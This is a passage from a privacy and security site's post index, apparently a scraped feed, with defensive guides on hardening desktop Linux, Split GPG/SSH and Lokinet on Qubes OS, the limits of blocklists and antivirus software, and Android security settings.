thus provide DMA protection. A DMA attack in early boot can patch the kernel in memory to completely undermine these parameters.\nNote that disabling the busmaster bit on all PCI bridges during very early boot (efi=disable_early_pci_dma) can cause complete boot failure on certain systems with inadequate resources. Therefore, as always, ensure you have a fallback option to boot into the system whenever modifying any kernel parameters.\nFurther reading:\nIOMMU Groups, inside and out IOMMU introduction intel IOMMU driver analysis Avoiding gaps in IOMMU protection at boot Madaidan: DMA attacks Kernel Modules See \u0026ldquo;2.5.2 Blacklisting kernel modules\u0026rdquo; in Madaidan\u0026rsquo;s guide.\nOn distributions other than Whonix and Kicksecure, you can copy the configuration file from secureblue\u0026rsquo;s repository into /etc/modprobe.d/.\nThere are a few things in this config to keep in mind:\nBluetooth is disabled. Comment out the install bluetooth and install btusb lines to use Bluetooth. Thunderbolt is disabled. Comment out the install thunderbolt line to use Thunderbolt devices. The cdrom and sr_mod modules are merely blacklisted; they can still be loaded at runtime with modprobe. If you have no intention to ever use CD‑ROM devices, they should be disabled by adding the lines install cdrom /bin/false and install sr_mod /bin/false to the config. (More about how this works on the ArchWiki) Apple filesystems are disabled. While generally fine on non‑Apple systems, if you are using an Apple device you must check the filesystem of your EFI partition and comment out the relevant install line, otherwise your Linux install will not boot. For example, comment out the install hfsplus line if your ESP filesystem is HFS+. Restricting access to /proc and /sys See \u0026ldquo;2.4 hidepid\u0026rdquo; and \u0026ldquo;2.7 Restricting access to sysfs\u0026rdquo; in Madaidan\u0026rsquo;s guide.\nDisabling access to /sys without a proper whitelist will lead to various applications breaking. Developing such a whitelist will unfortunately be extremely tedious for most users. Kicksecure, and by extension Whonix, has the experimental proc-hidepid and hide-hardware-info services which do just this. From my testing, these work perfectly fine on minimal Kicksecure installations and both Qubes-Whonix-Workstation and Qubes-Whonix-Gateway.\nlinux-hardened Some distributions like Arch Linux offer the linux‑hardened kernel package. It includes hardening patches and more security-conscious defaults.\nlinux‑hardened disables unprivileged user namespaces (kernel.unprivileged_userns_clone) by default. This may impact some software.\ngrsecurity Grsecurity offers a set of kernel patches that attempt to improve security of the Linux kernel. Payment is required, but grsecurity is worth using if you have a subscription.\nHardened Memory Allocator The hardened memory allocator (hardened_malloc) from GrapheneOS can be used on general Linux distributions, though only for some programs.\nOn Fedora and Red Hat Enterprise Linux, secureblue provides a Copr repository with both x86_64 and aarch64 architecture support. Divested Computing Group has a similar build for Fedora, but with only x86_64 support. Using secureblue\u0026rsquo;s repository is recommended, as the Divested repository is known to block certain IP addresses.\nOn Arch-based systems, hardened_malloc is available through the AUR.\nDisabling XWayland To disable XWayland with GNOME, create /etc/systemd/user/org.gnome.Shell@wayland.service.d/override.conf with the following content:\n[Service] ExecStart= ExecStart=/usr/bin/gnome-shell --no-x11 Mountpoint Hardening Consider adding the mount options nodev, noexec, and nosuid to mountpoints which do not need the respective capabilities. Typically, these can be applied to /boot, /boot/efi, and /var. These flags could also be applied to /home and /root, however noexec will prevent applications that require binary execution in those locations from working (including Flatpak and Snap).\nIt should be noted that noexec is not foolproof and actually quite easy to bypass.\nIf you use Toolbox, do not set any of these mount options on /var/log/journal. From my testing, the Toolbox container will fail to start if you have nodev, nosuid, or noexec on said directory. If you are on Arch Linux, you probably do not want to set noexec on /var/tmp, as some AUR packages will then fail to build.\nDisabling SUID SUID allows a user to execute an application as the owner of that application, which in many cases is the root user. Vulnerable SUID executables could lead to privilege escalation vulnerabilities.\nIt is desirable to remove SUID from as many binaries as possible; however, this takes substantial effort and trial and error on the user\u0026rsquo;s part, as some applications require SUID to function.\nKicksecure, and by extension Whonix, has an experimental permission hardening service and application whitelist to automate SUID removal from most binaries and libraries on the system. From my testing, these work perfectly fine on minimal Kicksecure installations and both Qubes-Whonix-Workstation and Qubes-Whonix-Gateway.\nDNSSEC Most Linux distributions do not enable DNSSEC by default. I recommend that you enable it to make sure that the responses to your DNS queries are authentic. You will need a DNS provider that supports DNSSEC. Ideally, you should use a VPN which provides this feature with its DNS servers so that you can also blend in with other people.\nOn systems with systemd-resolved, you can edit the /etc/systemd/resolved.conf file and add DNSSEC=yes to enable it. Run systemctl restart systemd-resolved after you are done editing to apply your configuration.\nIf you are a Whonix or Tails user, you can disregard setting up DNSSEC, as Tor DNS resolution does not support it. Alternatively, you can use a non-Tor resolver, though it is not recommended that you do this for an extended amount of time.\nTime Synchronization Most Linux distributions by default use the unencrypted and unauthenticated Network Time Protocol (NTP) for time synchronization. There are two ways to easily solve this problem:\nConfigure Network Time Security (NTS) with chronyd Use Kicksecure\u0026rsquo;s sdwdate on Debian‑based distributions. If you decide on using NTS with chronyd, consider using multiple, independent time providers and setting minsources to a value greater than 1.\nGrapheneOS uses a quite nice chrony configuration for their infrastructure. I recommend that you replicate their chrony.conf on your system.\nNext, enable the secommp filter for chronyd. On Fedora and Arch Linux, you will need to edit Chrony\u0026rsquo;s environment file in /etc/sysconfig/chronyd:\n# Command-line options for chronyd OPTIONS=\u0026#34;-F 1\u0026#34; On Ubuntu and Debian, the environment file is /etc/default/chrony, and the seccomp filter should already be enabled by default.\nPluggable Authentication Modules (PAM) PAM\u0026rsquo;s settings can be hardened to improve authentication security (though keep in mind the bypassable nature of PAM as opposed to encryption).\nOn Red Hat distributions, you can use authselect to configure this, e.g.:\nsudo authselect select \u0026lt;profile_id, default: sssd\u0026gt; with-faillock without-nullok with-pamaccess On systems where pam_faillock is not available, consider using pam_tally2 instead.\nIf you have a YubiKey or another U2F/FIDO2 authenticator, you can use pam-u2f to implement two‑factor authentication for login. Make sure to use a hardcoded origin and appid as indicated in the ArchWiki. Do not use the default identifier pam://$HOSTNAME which will break if your hostname changes.\nStorage Media Handling Some Linux distributions and desktop environments automatically mount arbitary filesystems upon storage media insertion. This is a security risk, as an adversary can attach a malicious storage device to your computer to exploit vulnerable filesystem drivers.\nThis behavior is disabled by default on Whonix.\nUDisks GNOME users on systems with UDisks can mitigate this risk by running the following commands:\necho \u0026#39;[org/gnome/desktop/media-handling] automount=false automount-open=false\u0026#39; | sudo tee /etc/dconf/db/local.d/automount-disable echo \u0026#39;org/gnome/desktop/media-handling/automount org/gnome/desktop/media-handling/automount-open\u0026#39; | sudo tee /etc/dconf/db/local.d/locks/automount-disable sudo dconf update This will disable automounting and prevent users from overriding that setting (without privileges).\nCinnamon uses the same configuration/commands except with cinnamon substituted in place of gnome. Other desktop environments based on GNOME 3 likely follow a similar pattern \u0026mdash; use gsettings to investigate.\nautofs On older systems where autofs is used, you should mask the autofs service to disable this behavior.\nUSB Port Protection To better protect your USB ports from attacks such as BadUSB and the infamous Hak5 USB Rubber Ducky, I recommend USBGuard. Documentation is available on the USBGuard website and ArchWiki.\nIf you are using linux‑hardened, you can alternatively use the deny_new_usb kernel parameter \u0026mdash; see \u0026ldquo;Preventing USB Attacks with linux-hardened\u0026rdquo;.\nSecure Boot Secure Boot can be used to secure the boot process by preventing the loading of unsigned UEFI drivers and bootloaders.\nOne of the problems with Secure Boot, particularly on Linux, is that only the chainloader (shim), bootloader (GRUB), and kernel are verified in a typical setup. The initramfs is often left unverified and unencrypted, leaving the door open for an evil maid attack.\nThe firmware on most devices is also preconfigured to trust Microsoft\u0026rsquo;s keys for both Windows and third‑parties, leading to a large attack surface.\nEnrolling your own keys Please note that this procedure will brick some non‑compliant UEFI implementations. You should research your specific computer/motherboard, looking for reported successes and failures alike, before attempting. Ideally, you should be prepared to reprogram the EEPROM to a known‑good state if something goes catastrophically wrong. Integrated \u0026lsquo;BIOS flashback\u0026rsquo; functionality may be an adequate recovery option.\nTo eliminate the need to trust the OEM\u0026rsquo;s keys, I recommend using sbctl.\nFirst, you need to boot into your firmware interface and enter Secure Boot setup mode. Then boot back into Linux and follow the instructions to generate and enroll your own keys.\nOn certain hardware, this will not work. Instead, you will need to export the public key to your EFI partition and manually import it through your firmware interface:\nopenssl x509 -in /usr/share/secureboot/keys/db/db.pem -outform DER -out /boot/efi/EFI/fedora/DB.der Unified Kernel Image On most desktop Linux systems, it is possible to create a unified kernel image (UKI) that contains the kernel, initramfs, and microcode. This unified kernel image can then be signed with the keys created by sbctl.\nFor Fedora Workstation, you can follow Håvard Moen\u0026rsquo;s guide which covers sbctl installation, unified kernel image generation with dracut, and automatic signing with systemd‑boot.\nOn Arch, the process is very similar, though sbctl is already included in the official repositories and you will need to switch from mkinitcpio to dracut. Arch with linux‑hardened works well with sbctl, but some level of tedious pacman hooks are required for appropriately timing the re‑signing of all relevant files every time the kernel or bootloader is updated.\nAfterwards, you need to use systemd-cryptenoll and pin your encryption key against certain PCRs to detect tampering against the firmware. At minimum, you should pin PCR 7 for Secure Boot polices. Personally, I pin PCR 0,1,2,3,5,7, and 14.\nWhenever you manually generate a UKI, make sure that the kernel is from the distribution vendor, and that initramfs is freshly generated. Reinstall the kernel package if you have to.\nIn my opinion, this is the most straightforward setup. However, it does not appear to work well with specialized setups such as Fedora Silverblue/Kinoite. More testing is needed to see if they can be made to work.\nNotes on Secure Boot After setting up Secure Boot, you should password-protect your UEFI settings (sometimes called \u0026lsquo;supervisor\u0026rsquo; or \u0026lsquo;administrator\u0026rsquo; password) as it is good security practice. This does not protect against an attacker with a programmer however - you need to pin PCRs to detect tampering as mentioned above.\nThese recommendations can make you a little more resistant to evil maid attacks, but they do not constitute a proper verified boot process as found on Android, ChromeOS, or Windows.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/desktop-linux-hardening/","summary":"Linux is not a secure desktop operating system. However, there are steps you can take to harden it, reduce its attack surface, and improve its privacy.\nBefore we start\u0026hellip;\nSome of the sections will include mentions of unofficial builds of packages like linux‑hardened, akmod, hardened_malloc, and so on. These are not endorsements \u0026mdash; they are merely to show that you have options to easily obtain and update these packages. Using unofficial builds of packages means adding more parties to trust, and you have to evaluate whether it is worth doing so for the potential privacy/security benefits or not.","title":"Desktop Linux Hardening"},{"content":" This post will go over setting up Split GPG, then setting up Split SSH with the same PGP keys. Effectively, we are emulating what you can do with a PGP smartcard on Qubes OS.\nSplit GPG Follow the official Qubes OS documentation to set this up.\nNote that if you already have a PGP key with a passphrase, you can remove it by installing pinentry-gtk to vault\u0026rsquo;s TemplateVM, then run gpg2 --edit-key \u0026lt;key_id\u0026gt; and passwd to set an empty passphrase. The default non-graphical pinentry will just make an infinite loop and will not allow you to set an empty passphrase.\nSplit SSH This part is based on the Qubes Community\u0026rsquo;s guide; however, I will deviate from it to use the PGP keys for SSH instead of generating a new key pair.\nIn dom0 Create /etc/qubes-rpc/policy/qubes.SshAgent with @anyvm @anyvm ask,default_target=vault as the content. Since the keys are not passphrase protected, you should not set the policy to allow. In vault AppVM Add enable-ssh-support to the end of ~/.gnupg/gpg-agent.conf Get your keygrip with gpg --with-keygrip -k Add your keygrip to the end of ~/.gnupg/sshcontrol In vault\u0026rsquo;s TemplateVM Create /etc/qubes-rpc/qubes.SshAgent with the following content: #!/bin/sh # Qubes App Split SSH Script # Activate GPG Agent and set the correct SSH socket export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket) gpgconf --launch gpg-agent # safeguard - Qubes notification bubble for each ssh request notify-send \u0026#34;[$(qubesdb-read /name)] SSH agent access from: $QREXEC_REMOTE_DOMAIN\u0026#34; # SSH connection socat - \u0026#34;UNIX-CONNECT:$SSH_AUTH_SOCK\u0026#34; Make it executable with sudo chmod +x /etc/qubes-rpc/qubes.SshAgent Turn off the templateVM. If the vault VM is running, turn it off, then start it to update the VM\u0026rsquo;s configuration. In ssh-client AppVM Add the following to the end of /rw/config/rc.local: # SPLIT SSH CONFIGURATION \u0026gt;\u0026gt;\u0026gt; # replace \u0026#34;vault\u0026#34; with your AppVM name which stores the ssh private key(s) SSH_VAULT_VM=\u0026#34;vault\u0026#34; if [ \u0026#34;$SSH_VAULT_VM\u0026#34; != \u0026#34;\u0026#34; ]; then export SSH_SOCK=\u0026#34;/home/user/.SSH_AGENT_$SSH_VAULT_VM\u0026#34; rm -f \u0026#34;$SSH_SOCK\u0026#34; sudo -u user /bin/sh -c \u0026#34;umask 177 \u0026amp;\u0026amp; exec socat \u0026#39;UNIX-LISTEN:$SSH_SOCK,fork\u0026#39; \u0026#39;EXEC:qrexec-client-vm $SSH_VAULT_VM qubes.SshAgent\u0026#39;\u0026#34; \u0026amp; fi # \u0026lt;\u0026lt;\u0026lt; SPLIT SSH CONFIGURATION Add the following to the end of ~/bash.rc: # SPLIT SSH CONFIGURATION \u0026gt;\u0026gt;\u0026gt; # replace \u0026#34;vault\u0026#34; with your AppVM name which stores the ssh private key(s) SSH_VAULT_VM=\u0026#34;vault\u0026#34; if [ \u0026#34;$SSH_VAULT_VM\u0026#34; != \u0026#34;\u0026#34; ]; then export SSH_AUTH_SOCK=\u0026#34;/home/user/.SSH_AGENT_$SSH_VAULT_VM\u0026#34; fi # \u0026lt;\u0026lt;\u0026lt; SPLIT SSH CONFIGURATION Restart ssh-client and confirm if it\u0026rsquo;s working with ssh-add -L. Limitations A malicious ssh-client AppVM can hold onto the ssh-agent connection for more than one use until it is shut down. While your private key is protected, a malicious actor with access to the AppVM can still abuse the ssh-agent to log into your servers.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/qubes/using-split-gpg-and-split-ssh-on-qubes-os/","summary":"This post will go over setting up Split GPG, then setting up Split SSH with the same PGP keys. Effectively, we are emulating what you can do with a PGP smartcard on Qubes OS.\nSplit GPG Follow the official Qubes OS documentation to set this up.\nNote that if you already have a PGP key with a passphrase, you can remove it by installing pinentry-gtk to vault\u0026rsquo;s TemplateVM, then run gpg2 --edit-key \u0026lt;key_id\u0026gt; and passwd to set an empty passphrase.","title":"Using Split GPG and Split SSH on Qubes OS"},{"content":"Badness enumeration is the concept of making a list of known bad actors and attempting to block them. While it seems intuitive at first glance, badness enumeration should not be relied on for privacy or security. In many cases, it actually does the exact opposite and directly harms the user. This post will attempt to explain why badness enumeration as a concept is flawed and give some examples of its failings in practice.\nThe Obvious Problem The obvious argument against badness enumeration is that there are so many threat actors out there, it is impossible to make a list to block all of them. Even when you make a magical list that somehow includes all of the threat actors that exist today, tomorrow a new threat actor will pop up and attack you anyways. Enumerating badness does not systematically solve the underlying problem. Instead, it is running away from the problem and hoping that a competent adversary will not come after you. Badness enumeration does not work, cannot work, has never worked, and will never work.\nAdblocking Extensions On top of the obvious problem mentioned above, there are various technical reasons why advertisement/tracker blocking extensions cannot provide privacy. One of which is the fact that tracking can be done without any scripts at all. For example, a website only needs to know your session ID using a cookie and save all logs associated with that ID. It can then analyze when you visited the website, how long you visited the website for, which page on the website you spent the most time on, what you looked at, and so on. Another problem is that a website can just host its own tracking code or proxy third party tracking code under its own domain. Just because your adblocker blocks connections to Google Analytics does not mean that you you are actually \u0026ldquo;safe\u0026rdquo; from Google Analytics at all. Even if you are successful in doing so, there is nothing stopping the website from sharing the analytics data it collected on its own with Google either.\n\u0026ldquo;Okay, so adblockers are unreliable, but what is the harm?\u0026rdquo; you may ask.\nThe problem here is that adblockers (especially with Manifest v2) are highly privileged and have access to all of your data within the browser. All it takes is for the extension developer to turn malicious for your passwords, session ids, TOTP secrets, etc to get compromised. Even if you were to assume that the extension developer is trustworthy, one vulnerability within the extension could still be catastrophic. This is made worse by the fact that adblockers typically use third-party blocklists, extending trust to the blocklist maintainers to not exploit the extension should a vulnerability be found. The \u0026ldquo;uBlock, I exfiltrate\u0026rdquo; blog post describes in detail how a CSS injection vulnerability in uBlockOrigin lead to data exfiltration with one single bad filtering rule.\nOverall, adblockers increase your attack surface for dubious privacy benefits. If you insist on getting an adblocker however, I highly recommend that you use purely declarative, permission less Manifest V3 ones like uBlock Origin Lite. While they do block fewer ads and trackers than their Manifest V2 counterparts and V3 extensions with \u0026ldquo;Read and change all your data on all websites\u0026rdquo;, they pose much less of a threat to your privacy and security while still providing the convenience of blocking annoyances.\nDNS Filtering DNS filtering solutions. while not having any negative impact on security, are trivially bypassable by just hosting the advertisement and trackers under the apex domain instead of a subdomain. For example, instead of hosting advertisement and trackers under ads.example.com, the webmaster can move them to be under example.com/ads and it would be impossible for DNS filters to block. Other bypasses include an application implementing its own DNS resolution instead of relying on the DNS servers set by the operating system, or connecting directly to certain IP addresses without any DNS resolution at all.\nIt should also be noted that websites can detect which DNS servers a visitor uses. You can look at DNSLeakTest as an example. Using non-network provided DNS servers adds to the fingerprint and make you more identifiable.\nThe best way to do DNS filtering is to use a VPN provider which has this feature built in like ProtonVPN, Mullvad, and IVPN in order to not standout from other users of the same VPN provider. Even then, DNS filtering is purely a convenience feature and cannot be relied on for privacy and security.\nAntiviruses Antiviruses are highly privileged processes with access to virtually all of your files and data, parsing through them trying to find something that matches a known bad signature. Beyond the fact that you need to trust the Antivirus company to not exfiltrate your sensitive data and that the signature list will never have all of the malware in existence, a vulnerable parser could lead to a system compromise. The Abusing File Processing in Malware Detectors for Fun and Profit research paper by Suman Jana and Vitaly Shmatikov discusses this in detail.\nHere are some other examples of Antiviruses being attack surfaces on their own:\nArbitrary Code Execution with Avast\u0026rsquo;s Javascript Interpreter Memory Corruption with Bitdefender Kaspersky in the Middle The proper way to deal with untrusted applications is not to scan them with an Antivirus, but to confine them in such a way that even if they were malicious, they cannot do much damage at all. This has already been achieved on secure mobile operating systems like Android and iOS with their application sandbox. Typically, attacks against these systems require an exploit chain against the operating system, or for the user to actually mess up and grant an app access to sensitive data. On desktop operating systems, you should utilize virtualization to contain untrusted applications in their own virtual machine. This can be done with a system like Qubes OS, the Windows Sandbox, or just general KVM / HyperV virtual machines.\nDefault Permit Surprisingly (or unsurprisingly), the The Six Dumbest Ideas in Computer Security article from almost 20 years ago still holds true today. It explains the problem with Default Permit better than I ever could. In short, when setting up a Firewall or some sort of filter list, it is better to start out by blocking everything, then allowing only the traffic that you need. That way, you don\u0026rsquo;t have to worry about applications that you didn\u0026rsquo;t care enough to block turning out to be vulnerable. Sometimes, \u0026ldquo;goodness enumeration\u0026rdquo; is the solution to the problem.\nConclusion By now, I hope I have clearly explained why badness enumeration is never the solution to the problem. Sometimes, it can be a nice-to-have thing, like a VPN provider blocking advertisements and trackers on the DNS level to make the web experience more enjoyable. Other times, it can be harmful to your privacy and security, like with a malicious/vulnerable extension or antivirus. The important thing to keep in mind is that you cannot rely on badness enumeration for true privacy and security, and you should always be aware of the privacy and security implications that certain options may entail.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/knowledge/badness-enumeration/","summary":"Badness enumeration is the concept of making a list of known bad actors and attempting to block them. While it seems intuitive at first glance, badness enumeration should not be relied on for privacy or security. In many cases, it actually does the exact opposite and directly harms the user. This post will attempt to explain why badness enumeration as a concept is flawed and give some examples of its failings in practice.","title":"Badness Enumeration"},{"content":" Lokinet is an Internet overlay network utilizing onion routing to provide anonymity for its users, similar to Tor network. This post will go over how to set it up on Qubes OS.\nBefore we start\u0026hellip;\nThis post should not be considered an endorsement of Lokinet in any shape or form. Lokinet is currently not in a good state \u0026mdash; it has not had a public release since 2022, and most free public exit nodes have gone offline. According to the developers, they are doing major rewrites of the code, and it should not be used in production at the moment.\nCreating the TemplateVM Currently, the Lokinet client seems to work well with only Debian-based distributions. This means that our template will have to be one of the Debian-based ones. Personally, I use this script to trim down the Debian GNOME template and convert it to Kicksecure. Kicksecure reduces the attack surface of Debian with a substantial set of hardening configurations, and a nice feature to go with an anonymity network like Lokinet is Boot Clock Randomization which helps defend against time-based denonymization attacks.\nStart by creating the bind directories for Lokinet\u0026rsquo;s configurations:\nsudo mkdir -p /etc/qubes-bind-dirs.d echo \u0026#39;binds+=( \u0026#39;\\\u0026#39;\u0026#39;\u0026#39;/etc/loki\u0026#39;\u0026#39;\\\u0026#39;\u0026#39; )\u0026#39; | sudo tee /etc/qubes-bind-dirs.d/50_user.conf Next, add the Oxen PGP key and the Lokinet template. We will deviate from the official documentation and pin the PGP key to only be used for this repository:\ncurl --proxy http://127.0.0.1:8082 https://deb.oxen.io/pub.gpg | sudo tee /usr/share/keyrings/oxen.gpg echo \u0026#34;deb [signed-by=/usr/share/keyrings/oxen.gpg] https://deb.oxen.io $(lsb_release -sc) main\u0026#34; | sudo tee /etc/apt/sources.list.d/oxen.list Next, lokinet and resolvconf. lokinet-gui was very buggy when I tested it inside my VM, so I recommend installing only the daemon. resolvconf is used by the Lokinet init script but is not declared as a dependency for some reason, so you have to manually install it as well:\nsudo apt update sudo apt install lokinet-gui resolvconf To work around the problem where Qubes overrides the DNS configuration at boot, create /etc/systemd/system/lokinet-dns-fix.service with the following content:\n[Unit] Description=Fix DNS for Lokinet After=qubes-network-uplink.service [Service] Type=oneshot ExecStart=/usr/bin/rm /etc/resolv.conf ExecStart=/usr/bin/ln -s /run/resolvconf/resolv.conf /etc/resolv.conf [Install] WantedBy=multi-user.target Enable the lokinet-dns-fix service:\nsudo systemctl enable lokinet-dns-fix At this stage, you can install any .deb app you want to use with Lokinet in the TemplateVM. I have been unable to get DNS working properly with Lokinet as a network VM, so for now we will have to use a Lokinet in each individual AppVM.\nFinally, shut down the TemplateVM:\nsudo shutdown now Creating the AppVM Create an AppVM based on the TemplateVM you have just created. Set sys-firewall (or whatever FirewallVM you have connected to your sys-net) as the net qube. If you do not have such FirewallVM, use sys-net as the net qube.\nEdit /etc/loki/lokinet.ini and add the exit node you want to use. At the moment, the only free exit node that I am aware of is euroexit.loki:\n[network] exit-node=euroexit.loki ","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/qubes/using-lokinet-on-qubes-os/","summary":"Lokinet is an Internet overlay network utilizing onion routing to provide anonymity for its users, similar to Tor network. This post will go over how to set it up on Qubes OS.\nBefore we start\u0026hellip;\nThis post should not be considered an endorsement of Lokinet in any shape or form. Lokinet is currently not in a good state \u0026mdash; it has not had a public release since 2022, and most free public exit nodes have gone offline.","title":"Using Lokinet on Qubes OS"},{"content":"Android is a very secure and robust operating system out of the box. This post will be less of a \u0026ldquo;hardening guide\u0026rdquo;, but more of a non-exhaustive list of tips when it comes to buying and using Android phones.\nAndroid Devices Recommended Phones Google Pixel phones are the only devices I would recommend for purchase. Pixel phones have stronger hardware security than any other Android devices currently on the market, due to proper AVB support for third-party operating systems and Google\u0026rsquo;s custom Titan security chips acting as the Secure Element.\nWhen purchasing a device, you should buy one as new as possible. The software and firmware of mobile devices are only supported for a limited time, so buying new extends that lifespan as much as possible. Also, beginning with the Pixel 8 and 8 Pro, Pixel devices receive a minimum of 7 years of guaranteed security updates, ensuring a much longer lifespan compared to the 2-4 years competing OEMs typically offer.\nPhones to Avoid Avoid buying the Fairphone 4, which only has just over 2 years of full security updates since its release date despite them advertising 6 years of support. This is because the System on a Chip they use (Snapdragon 750G) only has 3 years of support from Qualcomm, and the SoC was already old when the phone came out. This is not to mention, the Fairphone 4 uses the Android Verified Boot Test Key as their OEM keys, effectively making Verified Boot useless. In general, you should check for how long the SoC a phone uses is supported for and not blindly trust the phone manufacturer\u0026rsquo;s claims.\nYou should also avoid buying phones preloaded with /e/ OS (sometimes branded as the Murena phones). /e/ OS in itself is extremely insecure, engaging in security bad practices that include, but are not limited to, not supporting verified boot; shipping userdebug build; shipping months-old version of Chromium; and bundling years-old version of Orbot into their operating system, then marketing it as \u0026ldquo;Advanced Privacy\u0026rdquo;. There was also a recent incident where their cloud service mishandled session keys and gave users access to other\u0026rsquo;s files, then proceeded to mislead users that the server cannot see their files, despite there being no end-to-end encryption.\nYou should also be very wary of low quality privacy branded phones like the Freedom Phone, BraX2 Phone, Volta Phone, and the like. These are cheap Chinese phones with the Mediatek Helio P60 from 2018, which has already reached or is near end-of-life. Needless to say, you should also avoid any vendor who claims they are Zero-day proof like this:\nAndroid-based Operating Systems In certain cases, installing a custom Android-based operating system can help increase your privacy and security. This is rather tricky, however, as the vast majority of these operating systems (a.k.a. \u0026ldquo;custom ROMs\u0026rdquo;) do exactly the opposite: break the Android security model, thereby ruining your security while providing no or dubious privacy benefits.\nI have written a detailed post on selecting your Android-based operating system, which you can find here.\nTLDR: If you are using a modern Pixel, install GrapheneOS. Otherwise, stick to your stock operating system. Do not blindly use an OS just because it is advertised as \u0026ldquo;degoogled\u0026rdquo;.\nUse New Android Versions It\u0026rsquo;s important to not use an end-of-life version of Android. Newer versions of Android receive not only security updates for the operating system but also important privacy enhancing updates too. For example, prior to Android 10, any apps with the READ_PHONE_STATE permission could access sensitive and unique serial numbers of your phone such as IMEI, MEID, your SIM card\u0026rsquo;s IMSI, whereas now they must be system apps to do so. System apps are only provided by the OEM or Android distribution.\nDo Not Root Your Phone Rooting Android phones can decrease security significantly as it weakens the complete Android security model. This can decrease privacy should there be an exploit that is assisted by the decreased security. Common rooting methods involve directly tampering with the boot partition, making it impossible to perform successful Verified Boot. Apps that require root will also modify the system partition meaning that Verified Boot would have to remain disabled. Having root exposed directly in the user interface also increases the attack surface of your device and may assist in privilege escalation vulnerabilities and SELinux policy bypasses.\nUse a diceware passphrase, avoid pattern unlock On Android, the phone unlock (Password, Pin, Pattern) is used to protect the encryption key for your device. Thus, it is vital that your unlock secret is secure and can withstand Bruteforce attacks.\nPattern unlock is extremely insecure and should be avoided at all costs. This is discussed in detail in the Cracking Android Pattern Lock in Five Attempts research paper.\nIf you trust the hardware enforced rate limiting features (typically done by the Secure Element or Trusted Execution Environment) of your device, a 8+ digit PIN may be sufficient.\nIdeally, you should use a randomly generated passphrase of 8 words or longer to secure your phone. These are practically impossible to bruteforce with current technology, regardless of the efficacy of any ratelimiting that may be present.\nSetup Auditor Auditor provides attestation for GrapheneOS phones and the stock operating systems on a number of devices. It uses hardware security features to make sure that the firmware and operating system have not been downgraded or tampered with.\nAttestation can be done locally by pairing with another Android 8+ device or remotely using the remote attestation service. To make sure that your hardware and operating system is genuine, perform local attestation immediately after the device has been set up and before connecting to the internet.\nUse Global Toggles Modern Android devices have global toggles for disabling Bluetooth and location services. Android 12 introduced toggles for the camera and microphone. When not in use, you should disable these features. Apps cannot use disabled features (even if granted individual permissions) until re-enabled.\nManage Android Permissions Permissions on Android grant you control over what apps are allowed to access. Google regularly makes improvements on the permission system in each successive version. All apps you install are strictly sandboxed, therefore, there is no need to install any antivirus apps.\nYou can manage Android permissions by going to Settings → Privacy → Permission Manager. Be sure to remove from apps any permissions that they do not need.\nEnable VPN Killswitch Android 7 and above supports a VPN killswitch and it is available without the need to install third-party apps. This feature can prevent leaks if the VPN is disconnected. It can be found in Settings → Network \u0026amp; internet → VPN → Block connections without VPN.\nConnectivity Check Connectivity checks on Android do not go through the VPN tunnel (they are not supposed to anyway). This is generally not a cause for concern, however, you should be aware that Google and a network observer on your internet service provider (ISP)\u0026rsquo;s network can see that there is an Android device with your actual IP address.\nOn GrapheneOS, connectivity checks by default are done with GrapheneOS\u0026rsquo;s own servers, instead of with Google ones. A network observer on your ISP’s network can see that you are using a GrapheneOS device. If you are using a VPN and want to appear like a regular Android device to your ISP, go to Settings → Network \u0026amp; internet → Internet connectivity check and select Standard (Google) instead. Note that this will not stop a determined adversarial ISP from finding out you are not using stock OS through your DNS fallback.\nIf you want to, you can disable connectivity check altogether. Note that this will stop captive portals from working.\nOn GrapheneOS, go to Settings → Network \u0026amp; internet → Internet connectivity check and select Disabled. On other Android-based operating systems, you can disable captive portal via ADB. To disable:\nadb shell settings put global captive_portal_mode 0 To re-enable:\nadb shell settings delete global captive_portal_mode Restrict USB Peripherals USB peripherals should be disabled or set to only be allowed when the device is unlocked if possible.\nOn GrapheneOS, you can adjust this setting in Settings → Security → USB accessories. The OS defaults to \u0026ldquo;Allow new USB peripherals when unlocked\u0026rdquo;.\nMedia Access Quite a few applications allow you to \u0026ldquo;share\u0026rdquo; a file with them for media upload. If you want to, for example, tweet a picture to Twitter, do not grant Twitter access to your \u0026ldquo;media and photos\u0026rdquo;, because it will have access to all of your pictures then. Instead, go to your file manager (documentsUI), hold onto the picture, then share it with Twitter.\nIf you are using GrapheneOS, you should utilize the Storage Scopes feature to force apps that request broad storage access permission to function with scoped storage.\nUser Profiles Multiple user profiles can be found in Settings → System → Multiple users and are the simplest way to isolate in Android.\nWith user profiles, you can impose restrictions on a specific profile, such as: making calls, using SMS, or installing apps on the device. Each profile is encrypted using its own encryption key and cannot access the data of any other profiles. Even the device owner cannot view the data of other profiles without knowing their password. Multiple user profiles are a more secure method of isolation.\nWork Profile Work Profiles are another way to isolate individual apps and may be more convenient than separate user profiles.\nA device controller such as Shelter is required, unless you\u0026rsquo;re using CalyxOS which includes one.\nThe work profile is dependent on a device controller to function. Features such as File Shuttle and contact search blocking or any kind of isolation features must be implemented by the controller. You must also fully trust the device controller app, as it has full access to your data inside of the work profile.\nThis method is generally less secure than a secondary user profile; however, it does allow you the convenience of running apps in both the work and personal profiles simultaneously.\nBaseband Modem Attack Surface Reduction By default, your baseband modem will typically be set to support just about every generation of mobile cellular technology, from 2G to 5G. This exposes a large attack surface.\nYou can reduce this attack surface by limiting the baseband modem to using just the generation that it needs. In most cases, this would be 4G/LTE.\nGrapheneOS has the LTE only mode exposed in settings. You can set this by going to Settings → Internet → Your carrier name → Preferred network type → LTE Only.\nIf your Android-based operating system does not expose this setting in the Settings app, or if you want to set your baseband modem to a less restrictive mode, dial *#*#4636#*#* then hit Phone information. Here, you can set preferred network type to just the generations that you intend to use. For example, if you only want to use 5G and 4G, you can set it to NR/LTE.\nCarrier Tracking Carriers can track your coarse location through various means. At minimum, you need to use airplane mode to turn off the baseband modem, and turn off Wifi-calling which bypasses the system VPN. There may also be additional connections to the carrier\u0026rsquo;s servers outside of the VPN tunnel, so you need to use Wireshark to verify this for your specific setup.\nExact behavior does differ across SoCs and may vary between carriers as well, so I cannot give exact instructions for every setup. On a Google Pixel 7 Pro running GrapheneOS, you need to do the following:\nDisable Wi‑Fi calling.\nDisable the SIMs/eSIMs in Settings → Network \u0026amp; internet → SIMs. On GrapheneOS, if you are using an 